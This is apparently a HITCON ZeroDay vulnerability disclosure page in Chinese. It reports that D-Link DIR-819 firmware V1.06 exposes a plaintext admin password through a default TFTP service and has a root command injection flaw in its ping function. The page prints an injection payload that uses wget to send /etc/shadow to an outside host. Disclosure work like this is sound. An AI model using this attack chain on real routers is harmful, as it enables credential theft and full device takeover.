D-Link 無線路由器遠端程式碼執行 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00248
  •  發信 Vendor: D-Link
  • Title: D-Link 無線路由器遠端程式碼執行
  • Introduction: 此無線路由器最新版韌體含有多重漏洞,可導致攻擊者獲取root權限並執行任意程式碼

處理狀態

目前狀態

公開
Last Update : 2021/07/12
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2021/05/12 23:16:49 : 新提交 (由 DrmnSamoLiu 更新此狀態)
  • 2021/05/12 23:23:28 : 新提交 (由 DrmnSamoLiu 更新此狀態)
  • 2021/05/12 23:43:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/05/14 16:18:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/05/14 16:18:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/05/14 16:18:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00248
  • 通報者:DrmnSamoLiu (DrmnSamoLiu)
  • 風險:高
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

敘述

DIR-819韌體版本V1.06預設開啟tftp服務,攻擊者可透過tftp服務下載cfg.xml並獲取明文之管理介面登入密碼。
圖片

登入後, 攻擊者可透過管理介面"ping"功能中之command injection漏洞,以root身分執行任意指令及程式碼
例如:
輸入" ;wget http://192.168.0.101:8000/$(cat /etc/shadow)" 即可於ip位址為192.168.0.1的裝置上獲取shadow的內容。

圖片
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;